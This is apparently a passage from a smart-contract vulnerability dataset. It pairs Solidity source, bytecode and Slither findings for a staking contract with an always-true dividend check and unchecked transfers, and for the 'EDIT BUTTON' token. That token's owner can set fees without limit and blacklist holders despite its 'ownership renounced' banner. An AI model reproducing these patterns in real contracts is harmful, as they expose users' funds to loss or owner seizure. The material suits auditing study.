function dividendsOf(address _user) public view returns (uint256) {
if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){
return 0;
}else{
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
}
function userData(address _user) public view
returns (uint256 totalTokensFrozen, uint256 userFrozen,
uint256 userDividends, uint256 userStaketime, int256 scaledPayout) {
return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _stake(uint256 _amount) internal {
require(stakingEnabled, "Staking not yet initialized");
require(IERC20(DefiIndexFunds).balanceOf(msg.sender) >= _amount, "Insufficient DeFi AFT balance");
require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(DefiIndexFunds).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].staketime = now;
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(DefiIndexFunds).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit StakeEvent(msg.sender, address(this), _amount);
}
function _unstake(uint256 _amount) internal {
require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked");
info.totalFrozen -= _amount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
require(IERC20(DefiIndexFunds).transfer(msg.sender, _amount), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, _amount);
}
function TakeDividends() external returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit RewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledToken(uint _amount) external onlyAxiaToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
}
|
0x608060405234801561001057600080fd5b506004361061012b5760003560e01c806369c18e12116100ad578063b333de2411610071578063b333de24146102da578063b821b6bf146102e2578063c8910913146102ea578063e0287b3e1461033b578063f53d0a8e146103585761012b565b806369c18e12146102525780636b6b6aa41461025a5780637640cb9e14610277578063a43fc87114610294578063aa9a0912146102b15761012b565b80631e7f87bc116100f45780631e7f87bc146101d15780632bdcd691146101d9578063376edab6146101f857806342d41964146102265780636387c9491461024a5761012b565b806265318b1461013057806308dbbb03146101685780631495bf9a146101705780631bf6e00d1461018f5780631cfff51b146101b5575b600080fd5b6101566004803603602081101561014657600080fd5b50356001600160a01b0316610360565b60408051918252519081900360200190f35b6101566103c7565b61018d6004803603602081101561018657600080fd5b50356103cd565b005b610156600480360360208110156101a557600080fd5b50356001600160a01b03166103d9565b6101bd6103f7565b604080519115158252519081900360200190f35b610156610407565b61018d600480360360208110156101ef57600080fd5b5035151561040d565b6101bd6004803603604081101561020e57600080fd5b506001600160a01b0381358116916020013516610474565b61022e6104f0565b604080516001600160a01b039092168252519081900360200190f35b61022e6104ff565b61015661050e565b61018d6004803603602081101561027057600080fd5b5035610514565b6101bd6004803603602081101561028d57600080fd5b503561051d565b61018d600480360360208110156102aa57600080fd5b5035610592565b610156600480360360608110156102c757600080fd5b50803590602081013590604001356105ea565b61015661069e565b6101566107c8565b6103106004803603602081101561030057600080fd5b50356001600160a01b03166107ce565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b61018d6004803603602081101561035157600080fd5b5035610825565b61022e610873565b6004546001600160a01b0382166000908152600860205260408120600301549091111561038f575060006103c2565b6001600160a01b03821660009081526008602052604090206002810154600190910154600954600160401b929102030490505b919050565b60035481565b6103d681610882565b50565b6001600160a01b031660009081526008602052604090206001015490565b600254600160a01b900460ff1681565b60075490565b600a546001600160a01b031633146104565760405162461bcd60e51b8152600401808060200182810382526028815260200180610e236028913960400191505060405180910390fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b600a546000906001600160a01b031633146104c05760405162461bcd60e51b8152600401808060200182810382526028815260200180610e236028913960400191505060405180910390fd5b50600080546001600160a01b039384166001600160a01b0319918216179091556001805492909316911617815590565b6001546001600160a01b031681565b6000546001600160a01b031681565b60055481565b6103d681610ba5565b600080546001600160a01b031633146105675760405162461bcd60e51b815260040180806020018281038252602b815260200180610d80602b913960400191505060405180910390fd5b600754600160401b83028161057857fe5b600980549290910490910190819055600555506001919050565b600a546001600160a01b031633146105db5760405162461bcd60e51b8152600401808060200182810382526028815260200180610e236028913960400191505060405180910390fd5b670de0b6b3a764000002600355565b60008060006105f98686610d20565b9150915083811061060657fe5b6000848061061057fe5b868809905082811115610624576001820391505b91829003916000859003851680868161063957fe5b04955080848161064557fe5b04935080816000038161065457fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b6000806106aa33610360565b3360008181526008602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b15801561071a57600080fd5b505af115801561072e573d6000803e3d6000fd5b505050506040513d602081101561074457600080fd5b505161078c576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f8c998377165b6abd6e99f8b84a86ed2c92d0055aeef42626fedea45c2909f6eb9181900360200190a3905090565b60045481565b60008060008060006107de610407565b6107e7876103d9565b6107f088610360565b6001600160a01b0398909816600090815260086020526040902060038101546002909101549299919897509550909350915050565b600a546001600160a01b0316331461086e5760405162461bcd60e51b8152600401808060200182810382526028815260200180610e236028913960400191505060405180910390fd5b600455565b6002546001600160a01b031681565b600254600160a01b900460ff166108e0576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600154604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561092a57600080fd5b505afa15801561093e573d6000803e3d6000fd5b505050506040513d602081101561095457600080fd5b505110156109a9576040805162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e742044654669204146542062616c616e6365000000604482015290519081900360640190fd5b600354816109b6336103d9565b0110156109f45760405162461bcd60e51b815260040180806020018281038252603d815260200180610de6603d913960400191505060405180910390fd5b60015460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610a4457600080fd5b505afa158015610a58573d6000803e3d6000fd5b505050506040513d6020811015610a6e57600080fd5b50511015610aad5760405162461bcd60e51b815260040180806020018281038252603b815260200180610dab603b913960400191505060405180910390fd5b33600081815260086020908152604080832042600382015560078054870190556001808201805488019055600954600290920180549288029092019091555481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610b3f57600080fd5b505af1158015610b53573d6000803e3d6000fd5b505050506040513d6020811015610b6957600080fd5b5050604080518281529051309133917f160ffcaa807f78c8b4983836e2396338d073e75695ac448aa0b5e4a75b210b1d9181900360200190a350565b80610baf336103d9565b1015610bec5760405162461bcd60e51b8152600401808060200182810382526032815260200180610d4e6032913960400191505060405180910390fd5b6007805482900390553360008181526008602090815260408083206001818101805488900390556009546002909201805492880290920390915554815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610c7457600080fd5b505af1158015610c88573d6000803e3d6000fd5b505050506040513d6020811015610c9e57600080fd5b5051610ce6576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518281529051339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a350565b6000808060001984860990508385029250828103915082811015610d45576001820391505b50925092905056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e74207374616b6564417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b654f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72a264697066735822122062f575d06a58d2fadf64ba553664ee4ecc61cb95acbe15345a3e9a7af37e9e2a64736f6c63430006040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 2,408 |
0xe9885e29c7c28b6f23598b6a6365548496a9e4b9
|
/**
https://t.me/EditButtonERC
Ownership renounced + LP locked for 30 days
*/
/**
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EditButton is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EDIT BUTTON";
string private constant _symbol = "EB";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x4a8D86935Da6DAfB8D600a071b8d06cBDb9f92e6);
address payable private _marketingAddress = payable(0x4a8D86935Da6DAfB8D600a071b8d06cBDb9f92e6);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104af57600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fa565b005b34801561020a57600080fd5b5060408051808201909152600b81526a22a224aa10212aaa2a27a760a91b60208201525b60405161023b9190611a23565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a78565b610699565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50670de0b6b3a76400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611aa4565b6106b0565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611ae5565b610719565b34801561036f57600080fd5b506101fc61037e366004611b12565b610764565b34801561038f57600080fd5b506101fc6107ac565b3480156103a457600080fd5b506102c36103b3366004611ae5565b6107f7565b3480156103c457600080fd5b506101fc610819565b3480156103d957600080fd5b506101fc6103e8366004611b2d565b61088d565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611ae5565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b12565b6108bc565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600281526122a160f11b602082015261022e565b3480156104bb57600080fd5b506101fc6104ca366004611b2d565b610904565b3480156104db57600080fd5b506101fc6104ea366004611b46565b610933565b3480156104fb57600080fd5b5061026461050a366004611a78565b610971565b34801561051b57600080fd5b5061026461052a366004611ae5565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc61097e565b34801561056057600080fd5b506101fc61056f366004611b78565b6109d2565b34801561058057600080fd5b506102c361058f366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611b2d565b610a73565b3480156105e657600080fd5b506101fc6105f5366004611ae5565b610aa2565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611c35565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611c96565b915050610630565b5050565b60006106a6338484610b8c565b5060015b92915050565b60006106bd848484610cb0565b61070f843361070a85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ec565b610b8c565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611c35565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f481611226565b50565b6001600160a01b0381166000908152600260205260408120546106aa90611260565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611c35565b601655565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161062490611c35565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161062490611c35565b601855565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161062490611c35565b600893909355600a91909155600955600b55565b60006106a6338484610cb0565b6012546001600160a01b0316336001600160a01b031614806109b357506013546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f7565b90506107f4816112e4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161062490611c35565b60005b82811015610a6d578160056000868685818110610a1e57610a1e611c6a565b9050602002016020810190610a339190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6581611c96565b9150506109ff565b50505050565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161062490611c35565b601755565b6000546001600160a01b03163314610acc5760405162461bcd60e51b815260040161062490611c35565b6001600160a01b038116610b315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610c4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610dd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610e0457506000546001600160a01b03838116911614155b156110e557601554600160a01b900460ff16610e9d576000546001600160a01b03848116911614610e9d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610eef5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3157506001600160a01b03821660009081526010602052604090205460ff16155b610f895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b0383811691161461100e5760175481610fab846107f7565b610fb59190611cb1565b1061100e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b6000611019306107f7565b6018546016549192508210159082106110325760165491505b8080156110495750601554600160a81b900460ff16155b801561106357506015546001600160a01b03868116911614155b80156110785750601554600160b01b900460ff165b801561109d5750